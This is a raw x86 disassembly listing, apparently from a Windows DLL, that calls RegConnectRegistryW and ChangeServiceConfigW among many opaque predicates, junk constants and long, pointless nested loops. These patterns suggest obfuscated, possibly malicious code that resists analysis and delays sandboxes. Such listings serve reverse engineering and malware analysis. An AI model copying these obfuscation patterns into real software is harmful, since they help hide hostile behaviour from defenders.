call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
push 3
lea ecx, [ebp - 0xf9c]
call fcn.10022272
mov dword [ebp - 0x570], eax
mov eax, dword [ebp - 0x570]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x570]
mov dword [ecx], eax
jmp 0x10016644
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xf9c]
call fcn.10022230
jmp 0x100165a3
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x11a8]
call fcn.10022230
jmp 0x10016515
push 0
lea ecx, [ebp - 0xe90]
call fcn.10022272
mov esi, eax
push 0
lea ecx, [ebp - 0xe90]
call fcn.10022272
mov eax, dword [eax]
mov dword [esi], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe90]
call fcn.10022230
mov dword [ebp - 0x1bc], 8
push 3
lea ecx, [ebp - 0x4d0]
call fcn.100221ae
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x580], 1
mov dword [ebp - 0x4b0], 0xc3521152
push 2
lea ecx, [ebp - 0xdcc]
call fcn.100221ae
mov byte [ebp - 4], 0xc
mov dword [ebp - 0xd64], 0xfffffff6
mov dword [ebp - 0xac], 0
jmp 0x1001676f
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jge 0x10016791
push dword [ebp - 0xac]
lea ecx, [ebp - 0x4d0]
call fcn.10022272
mov dword [eax], 0x61ece305
jmp 0x10016762
mov dword [ebp - 0xac], 0
jmp 0x100167aa
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jge 0x100167cc
push dword [ebp - 0xac]
lea ecx, [ebp - 0xdcc]
call fcn.10022272
mov dword [eax], 0xfffffff8
jmp 0x1001679d
push 1
lea ecx, [ebp - 0x4d0]
call fcn.10022272
cmp dword [eax], 0
je 0x100167e5
cmp dword [ebp - 0x1bc], 0
push 1
lea ecx, [ebp - 0x4d0]
call fcn.10022272
push 1
lea ecx, [ebp - 0x4d0]
call fcn.10022272
push 1
lea ecx, [ebp - 0x4d0]
call fcn.10022272
mov eax, 0x99e885dc
cmp eax, 0xfffffff6
je 0x10016822
mov dword [ebp - 0xa84], 1
jmp 0x10016829
and dword [ebp - 0xa84], 0
cmp dword [ebp - 0xa84], 8
jbe 0x1001683e
mov dword [ebp - 0x4a8], 1
jmp 0x10016845
and dword [ebp - 0x4a8], 0
push 1
lea ecx, [ebp - 0x4d0]
call fcn.10022272
mov ecx, dword [ebp - 0x4a8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x4a8], eax
jne 0x10016874
mov dword [ebp - 0x578], 1
jmp 0x1001687b
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x578], eax
jl 0x10016895
mov dword [ebp - 0xa8c], 1
jmp 0x1001689c
and dword [ebp - 0xa8c], 0
mov eax, dword [ebp - 0x1bc]
add eax, dword [ebp - 0xa8c]
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x580]
cmp eax, dword [ebp - 0x1bc]
jle 0x100168c8
mov dword [ebp - 0xa94], 1
jmp 0x100168cf
and dword [ebp - 0xa94], 0
mov eax, dword [ebp - 0x1bc]
cmp eax, dword [ebp - 0xa94]
je 0x100168fb
push 1
lea ecx, [ebp - 0x4d0]
call fcn.10022272
cmp dword [eax], 0
je 0x100168fb
mov dword [ebp - 0xd5c], 1
jmp 0x10016902
and dword [ebp - 0xd5c], 0
push 0
lea ecx, [ebp - 0x4d0]
call fcn.10022272
mov esi, dword [ebp - 0x4b0]
push 0
lea ecx, [ebp - 0xdcc]
call fcn.10022272
mov dword [eax], esi
push 0
lea ecx, [ebp - 0xdcc]
call fcn.10022272
mov eax, dword [eax]
sub eax, 0x887c5c6
je 0x10016958
push 0
lea ecx, [ebp - 0xdcc]
call fcn.10022272
cmp dword [eax], 0
je 0x10016958
mov dword [ebp - 0xa9c], 1
jmp 0x1001695f
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x1028], eax
mov eax, 0xfa3fda37
sub eax, dword [ebp - 0xa9c]
cmp eax, dword [ebp - 0x4b0]
jge 0x10016993
cmp dword [ebp - 0xd64], 0
je 0x10016993
mov dword [ebp - 0xa00], 1
jmp 0x1001699a
and dword [ebp - 0xa00], 0
push 1
lea ecx, [ebp - 0x4d0]
call fcn.10022272
mov ecx, dword [ebp - 0xa00]
mov dword [eax], ecx
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xdcc]
call fcn.10022230
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4d0]
call fcn.10022230
mov byte [ebp - 0x250], 3
mov byte [ebp - 0x24f], 0x6f
mov byte [ebp - 0x24e], 9
mov byte [ebp - 0x24d], 0x38
mov byte [ebp - 0x24c], 0xa
mov byte [ebp - 0x24b], 0x2b
mov byte [ebp - 0x24a], 0
mov byte [ebp - 0x249], 2
mov byte [ebp - 0x248], 1
mov byte [ebp - 0x247], 0x95
mov byte [ebp - 0x246], 1
mov byte [ebp - 0x245], 0x22
mov byte [ebp - 0x244], 8
mov byte [ebp - 0x243], 0xa
mov byte [ebp - 0x242], 0xc
mov byte [ebp - 0x241], 0x38
mov byte [ebp - 0x240], 6
mov byte [ebp - 0x23f], 0x24
mov byte [ebp - 0x23e], 2
mov byte [ebp - 0x23d], 7
mov byte [ebp - 0x23c], 5
mov byte [ebp - 0x23b], 6
mov byte [ebp - 0x23a], 7
mov byte [ebp - 0x239], 0x1b
mov byte [ebp - 0x238], 4
mov byte [ebp - 0x237], 0xc
mov byte [ebp - 0x236], 0xb
mov byte [ebp - 0x235], 0x1d
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x250]
and eax, 0x39
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x250]
or ecx, 0x39
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x250]
mov byte [ebp + eax - 0xe58], cl
mov dword [ebp - 0x4c], 0x5c68ec0a
push 1
lea ecx, [ebp - 0x3f0]
call fcn.100221ae
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x4b8], 7
mov dword [ebp - 0x374], 0
jmp 0x10016b08
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 1
jge 0x10016b2a
push dword [ebp - 0x374]
lea ecx, [ebp - 0x3f0]
call fcn.10022272
mov dword [eax], 0x6e5c7a00
jmp 0x10016afb
mov dword [ebp - 0x4c], 0xb
jmp 0x10016b3a
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jl 0x10016b59
mov dword [ebp - 0x590], 0xe57b
mov eax, dword [ebp - 0x590]
dec eax
mov dword [ebp - 0x590], eax
jmp 0x10016b33
mov dword [ebp - 0x4c], 0
jmp 0x10016b69
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x10016e87
mov dword [ebp - 0xb98], 0x74aa0d72
mov dword [ebp - 0xb94], 0x74aa0d72
mov dword [ebp - 0xb90], 0x74aa0d72
mov dword [ebp - 0xb8c], 0x74aa0d72
mov dword [ebp - 0x7c], 5
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xb98], 0
jmp 0x10016bcd
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb98]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xb98], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb98], 1
jge 0x10016bfb
push 4
pop eax
shl eax, 1
push dword [ebp + eax - 0xb98]
lea ecx, [ebp - 0x3f0]
call fcn.10022272
mov dword [eax], 0xfffffffd
jmp 0x10016bb4
mov dword [ebp - 0x7c], 0
jmp 0x10016c0b
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jg 0x10016e82
mov dword [ebp - 0x118], 0xa6f44401
mov dword [ebp - 0x2ac], 0x7c629c4d
mov dword [ebp - 0xac0], 1
mov dword [ebp - 0xd84], 1
mov dword [ebp - 0x118], 0
jmp 0x10016c56
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x10016e7d
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x3f0]
call fcn.10022272
mov eax, dword [eax]
mov dword [ebp - 0x2ac], eax
mov esi, dword [ebp - 0x2ac]
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x3f0]
call fcn.10022272
cmp dword [eax], esi
jge 0x10016db4
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x3f0]
call fcn.10022272
cmp dword [eax], 0
jne 0x10016cb4
mov dword [ebp - 0x888], 1
jmp 0x10016cbb
and dword [ebp - 0x888], 0
mov esi, dword [ebp - 0xac0]
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x3f0]
call fcn.10022272
imul esi, dword [eax]
cmp esi, 0xffffffff
jg 0x10016ce3
mov dword [ebp - 0x598], 1
jmp 0x10016cea
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x888]
cmp eax, dword [ebp - 0x598]
jle 0x10016d04
mov dword [ebp - 0xd6c], 1
jmp 0x10016d0b
and dword [ebp - 0xd6c], 0
push 0
lea ecx, [ebp - 0x3f0]
call fcn.10022272
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x4b8]
jle 0x10016d2f
mov dword [ebp - 0xd74], 1
jmp 0x10016d36
and dword [ebp - 0xd74], 0
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x3f0]
call fcn.10022272
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x3f0]
call fcn.10022272
cmp dword [eax], 0
je 0x10016d5e
cmp dword [ebp - 0x118], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x1030], eax
mov eax, dword [ebp - 0xac0]
mov dword [ebp - 0x1038], eax
mov dword [ebp - 0x2ac], 3
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x5a0], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x5a0]
mov dword [ebp + eax - 0xb98], ecx
cmp dword [ebp - 0x5a0], 0
je 0x10016db4
mov dword [ebp - 0x890], 1
jmp 0x10016dbb
and dword [ebp - 0x890], 0
mov esi, dword [ebp - 0x4b8]
mov edi, dword [ebp - 0x7c]
imul edi, dword [ebp - 0x890]
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x3f0]
call fcn.10022272
imul edi, dword [eax]
cmp edi, esi
je 0x10016dec
mov dword [ebp - 0x5a8], 1
jmp 0x10016df3
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x4b8]
cmp dword [ebp - 0x5a8], eax
je 0x10016e0d
mov dword [ebp - 0xa08], 1
jmp 0x10016e14
and dword [ebp - 0xa08], 0
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x3f0]
call fcn.10022272
mov ecx, dword [ebp - 0xa08]
cmp ecx, dword [eax]
jne 0x10016e47
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb98], 0
je 0x10016e47
mov dword [ebp - 0x5b0], 1
jmp 0x10016e4e
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x5b0], eax
jle 0x10016e65
mov dword [ebp - 0xd7c], 1
jmp 0x10016e6c
and dword [ebp - 0xd7c], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0xd84], eax
jmp 0x10016c49
jmp 0x10016c04
jmp 0x10016b62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3f0]
call fcn.10022230
mov dword [ebp - 0x40], 2
and dword [ebp - 0x308], 0
jmp 0x10016eae
mov eax, dword [ebp - 0x40]
inc eax
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x1c
jae 0x1001866b
push 2
lea ecx, [ebp - 0xfa8]
call fcn.100221ae
mov dword [ebp - 4], 0xe
mov dword [ebp - 0xd8c], 0xfffffff9
mov dword [ebp - 0x37c], 0
jmp 0x10016eef
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 2
jge 0x10016f11
push dword [ebp - 0x37c]
lea ecx, [ebp - 0xfa8]
call fcn.10022272
mov dword [eax], 0xde19d29b
jmp 0x10016ee2
push 0
lea ecx, [ebp - 0xfa8]
call fcn.10022272
mov eax, dword [eax]
add eax, 0xe446df3
mov dword [ebp - 0xd8c], eax
mov byte [ebp - 0xf8], 0
movzx eax, byte [ebp - 0xf8]
test eax, eax
je 0x10016f4e
push 0
push 0x3ad
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfa8]
call fcn.10022230
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x250]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x40], eax
jne 0x100181a3
push 2
lea ecx, [ebp - 0x234]
call fcn.100221ae
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x2b4], 0
jmp 0x10016fa5
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 2
jge 0x10016fc7
push dword [ebp - 0x2b4]
lea ecx, [ebp - 0x234]
call fcn.10022272
mov dword [eax], 0xdf75dcec
jmp 0x10016f98
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
and dword [eax], 0
jmp 0x10016ffd
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x898]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x898]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
cmp dword [eax], 0x12
jne 0x1001766c
push 1
lea ecx, [ebp - 0x1e0]
call fcn.100221ae
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x5f8], 0xfffffff9
mov dword [ebp - 0xe6c], 0x685
mov dword [ebp - 0xe74], 6
mov dword [ebp - 0x8c], 0
jmp 0x1001705b
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x10017077
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x3e4], 0xa4f402e3
jmp 0x1001704e
mov dword [ebp - 0x8c], 0
jmp 0x10017090
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jge 0x100170b2
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov dword [eax], 0xa11c1574
jmp 0x10017083
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov dword [eax], 1
jmp 0x100170eb
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov dword [ebp - 0x5b8], eax
mov eax, dword [ebp - 0x5b8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x5b8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
cmp dword [eax], 0
jl 0x100172bc
mov dword [ebp - 0x384], 0
jmp 0x1001711a
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 1
jge 0x10017136
mov eax, dword [ebp - 0x384]
mov dword [ebp + eax*4 - 0xd9c], 0xec415051
jmp 0x1001710d
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x3e4], 0
jne 0x10017248
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x3e4], 0
jne 0x10017178
mov dword [ebp - 0x5c8], 1
jmp 0x1001717f
and dword [ebp - 0x5c8], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
cmp dword [eax], 0
je 0x100171ee
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x3e4], 1
jge 0x100171b6
mov dword [ebp - 0xad0], 1
jmp 0x100171bd
and dword [ebp - 0xad0], 0
cmp dword [ebp - 0xad0], 0xfffffffc
je 0x100171d2
mov dword [ebp - 0x5c0], 1
jmp 0x100171d9
and dword [ebp - 0x5c0], 0
cmp dword [ebp - 0x5c0], 0
je 0x100171ee
mov dword [ebp - 0x8a0], 1
jmp 0x100171f5
and dword [ebp - 0x8a0], 0
cmp dword [ebp - 0x8a0], 0xffff
jb 0x1001720d
mov dword [ebp - 0xd94], 1
jmp 0x10017214
and dword [ebp - 0xd94], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x3e4]
cmp dword [ebp - 0x5c8], eax
je 0x10017248
and dword [ebp - 0xa10], 0
jmp 0x10017252
mov dword [ebp - 0xa10], 1
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x3e4]
cmp dword [ebp - 0xa10], eax
jle 0x1001727c
mov dword [ebp - 0x5d0], 1
jmp 0x10017283
and dword [ebp - 0x5d0], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
mov ecx, dword [ebp - 0x5d0]
sub ecx, dword [eax]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd9c], ecx
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3e4], 0
je 0x100172b7
jmp 0x100172bc
jmp 0x100170c7
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
cmp dword [eax], 0
je 0x100174b4
mov dword [ebp - 0x2bc], 0
jmp 0x100172eb
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 1
jge 0x10017307
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0x8b8], 0xffffffff
jmp 0x100172de
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
cmp dword [eax], 0
je 0x10017335
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3e4], 0
je 0x10017335
mov dword [ebp - 0x8a8], 1
jmp 0x1001733c
and dword [ebp - 0x8a8], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
mov ecx, dword [ebp - 0x8a8]
cmp ecx, dword [eax]
je 0x1001735f
mov dword [ebp - 0x5e8], 1
jmp 0x10017366
and dword [ebp - 0x5e8], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x8b8]
push 1
lea ecx, [ebp - 0x234]
call fcn.10022272
sub esi, dword [eax]
cmp esi, 0x42f34c93
jge 0x10017396
mov dword [ebp - 0x5d8], 1
jmp 0x1001739d
and dword [ebp - 0x5d8], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
mov ecx, dword [ebp - 0x5d8]
cmp ecx, dword [eax]
jl 0x100173cf
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
cmp dword [eax], 0
jne 0x100173cf
and dword [ebp - 0xacc], 0
jmp 0x100173d9
mov dword [ebp - 0xacc], 1
cmp dword [ebp - 0xacc], 0x8d6db9e5
je 0x100173f1
mov dword [ebp - 0x5e0], 1
jmp 0x100173f8
and dword [ebp - 0x5e0], 0
cmp dword [ebp - 0x5e0], 0xf1ba1372
jae 0x10017410
mov dword [ebp - 0x8b0], 1
jmp 0x10017417
and dword [ebp - 0x8b0], 0
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x3e4]
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
mov edi, dword [ebp - 0x8b0]
sub edi, dword [eax]
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
sub edi, dword [eax]
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
sub edi, dword [eax]
imul eax, edi, 0x7f1f
imul eax, dword [ebp - 0x5e8]
cmp eax, esi
jl 0x10017479
xor eax, eax
inc eax
je 0x10017479
mov dword [ebp - 0xa18], 1
jmp 0x10017480
and dword [ebp - 0xa18], 0
cmp dword [ebp - 0xa18], 0
jne 0x10017495
mov dword [ebp - 0x5f0], 1
jmp 0x1001749c
and dword [ebp - 0x5f0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5f0]
mov dword [ebp + eax - 0x8b8], ecx
jmp 0x10017658
mov dword [ebp - 0x38c], 0x79b5cec8
mov dword [ebp - 0x8c8], 0x9ac04bb9
mov dword [ebp - 0xadc], 0x5249f392
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0
jne 0x10017506
cmp dword [ebp - 0x38c], 0
jne 0x10017506
and dword [ebp - 0xad4], 0
jmp 0x10017510
mov dword [ebp - 0xad4], 1
mov esi, dword [ebp - 0xad4]
neg esi
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
cmp esi, dword [eax]
jne 0x10017535
mov dword [ebp - 0x600], 1
jmp 0x1001753c
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x600]
inc eax
cmp eax, dword [ebp - 0x38c]
jge 0x10017557
mov dword [ebp - 0x8c0], 1
jmp 0x1001755e
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0x8c0]
inc eax
jne 0x10017579
cmp dword [ebp - 0xe6c], 0
jne 0x10017579
and dword [ebp - 0x608], 0
jmp 0x10017583
mov dword [ebp - 0x608], 1
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov eax, dword [eax]
cmp eax, dword [ebp - 0x608]
jne 0x100175a6
mov dword [ebp - 0xa20], 1
jmp 0x100175ad
and dword [ebp - 0xa20], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.10022272
mov eax, dword [eax]
cmp eax, dword [ebp - 0xa20]
jle 0x100175d0
mov dword [ebp - 0x610], 1
jmp 0x100175d7
and dword [ebp - 0x610], 0
push 0
lea ecx, [ebp - 0x1e0]
call fcn.10022272
mov ecx, dword [ebp - 0x610]
cmp ecx, dword [eax]
jne 0x100175fa
mov dword [ebp - 0x618], 1
jmp 0x10017601
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x8c8], eax
mov eax, dword [ebp - 0x8c8]
imul eax, dword [ebp - 0x618]
mov dword [ebp - 0xadc], eax
cmp dword [ebp - 0xadc], 0
je 0x1001764e
push 1
lea ecx, [ebp - 0x234]
call fcn.10022272
cmp dword [eax], 0
je 0x1001764c
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.10022230
jmp 0x1001766c
jmp 0x10017658
mov dword [ebp - 0xe74], 0xee622136
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.10022230
jmp 0x10016fd9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x234]
call fcn.10022230
mov eax, dword [ebp - 0x40]
movzx eax, byte [ebp + eax - 0x250]
inc eax
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x1f8], 0x5c8094a1
mov dword [ebp - 0x620], 0xa23
mov dword [ebp - 0xe38], 0x10007960
cmp dword [ebp - 0x620], 0xcfa
jle 0x100177c3
and dword [ebp - 0x2c4], 0
jmp 0x100176d1
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x260f
jge 0x100177c3
and dword [ebp - 0x394], 0
jmp 0x100176f7
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x1aff
jge 0x100177be
and dword [ebp - 0x2cc], 0
jmp 0x1001771d
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x72a5
jge 0x100177b9
and dword [ebp - 0x39c], 0
jmp 0x10017743
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0x1b02
jge 0x100177b4
mov eax, dword [ebp - 0x2c4]
sub eax, dword [ebp - 0x394]
mov ecx, dword [ebp - 0x2cc]
sar eax, cl
and eax, dword [ebp - 0x39c]
cdq
mov dword [ebp - 0xc5c], eax
mov dword [ebp - 0xc58], edx
push dword [ebp - 0xc58]
push dword [ebp - 0xc5c]
lea ecx, [ebp - 0x13a8]
call fcn.1000a263
pop ecx
pop ecx
mov dword [ebp - 0xe70], eax
mov ecx, dword [ebp - 0xe70]
call fcn.10021b1d
push eax
call fcn.10058fef
pop ecx
lea ecx, [ebp - 0x13a8]
call fcn.10021b13
jmp 0x10017736
jmp 0x10017710
jmp 0x100176ea
jmp 0x100176c4
mov dword [ebp - 0x630], 0xa9683648
mov dword [ebp - 4], 0x11
cmp dword [ebp - 0x620], 0x6e5
jge 0x100177ec
push dword [ebp - 0xe38]
call fcn.10058fef
pop ecx
jmp 0x10017808
or dword [ebp - 4], 0xffffffff
jmp 0x10017812
mov dword [ebp - 0x648], 0x9ea7eb8e
mov dword [ebp - 0x1040], 0
mov dword [ebp - 0x1048], 8
mov dword [ebp - 0x8d0], 0x371a
mov dword [ebp - 0xcb0], 0x100079e0
cmp dword [ebp - 0x8d0], 0x37c6
jle 0x1001794f
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
and dword [ebp - 0x3ac], 0
jmp 0x10017886
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0x47e4
jge 0x1001794f
and dword [ebp - 0x2d4], 0
jmp 0x100178ac
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x924
jge 0x1001794a
and dword [ebp - 0x3a4], 0
jmp 0x100178d2
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0x671a
jge 0x10017945
and dword [ebp - 0x2dc], 0
jmp 0x100178f4
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x138b
jge 0x10017943
mov eax, dword [ebp - 0x2d4]
imul eax, dword [ebp - 0x3a4]
cdq
idiv dword [ebp - 0x2dc]
mov eax, dword [ebp - 0x3ac]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0xc68], eax
mov dword [ebp - 0xc64], edx
push dword [ebp - 0xc64]
push dword [ebp - 0xc68]
mov ecx, 0x106185d8
call fcn.10021f59
jmp 0x100178e7
jmp 0x100178c5
jmp 0x1001789f
jmp 0x10017879
mov dword [ebp - 0x1050], 0x1c3fc023
mov dword [ebp - 4], 0x13
cmp dword [ebp - 0x8d0], 0x35bf
jge 0x1001797c
mov edx, dword [ebp - 0xcb0]
mov ecx, 0x106185d8
call fcn.1002654e
jmp 0x10017998
or dword [ebp - 4], 0xffffffff
jmp 0x100179a2
mov dword [ebp - 0x1058], 0xffffffff
mov dword [ebp - 0x640], 0x37bd55fd
mov dword [ebp - 0x124c], 0xfffffff8
mov dword [ebp - 0x1248], 0xfffffff8
mov dword [ebp - 0x1244], 0xfffffff8
mov dword [ebp - 0x1240], 0xfffffff8
push 3
lea ecx, [ebp - 0xff0]
call fcn.100221ae
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x4a4], 0x2975
mov dword [ebp - 0xc4], 0
jmp 0x10017a15
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 2
jge 0x10017a31
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x1128], 0xf9b3
jmp 0x10017a08
mov dword [ebp - 0xc4], 0
jmp 0x10017a4a
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 3
jge 0x10017a6c
push dword [ebp - 0xc4]
lea ecx, [ebp - 0xff0]
call fcn.10022272
mov dword [eax], 0x22a19820
jmp 0x10017a3d
mov dword [ebp - 0x1f8], 1
jmp 0x10017a85
mov eax, dword [ebp - 0x1f8]
dec eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0
jl 0x10017d1d
mov dword [ebp - 0x628], 0x89b1ab44
mov dword [ebp - 0x1060], 0xb0ae28de
mov dword [ebp - 0xbe8], 7
push 1
lea ecx, [ebp - 0xea8]
call fcn.100221ae
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x1068], 0x2bbd4aa4
mov dword [ebp - 0xd50], 0xffffffff
mov dword [ebp - 0x1070], 0x11de2a90
mov dword [ebp - 0xad8], 4
mov dword [ebp - 0xc14], 0xfffffff6
mov dword [ebp - 0x1078], 0xd10fbf2b
mov dword [ebp - 0x1080], 0xffffffff
mov dword [ebp - 0x1088], 1
mov dword [ebp - 0x8e0], 4
push 2
lea ecx, [ebp - 0xf54]
call fcn.100221ae
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x28], 0
jmp 0x10017b3c
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
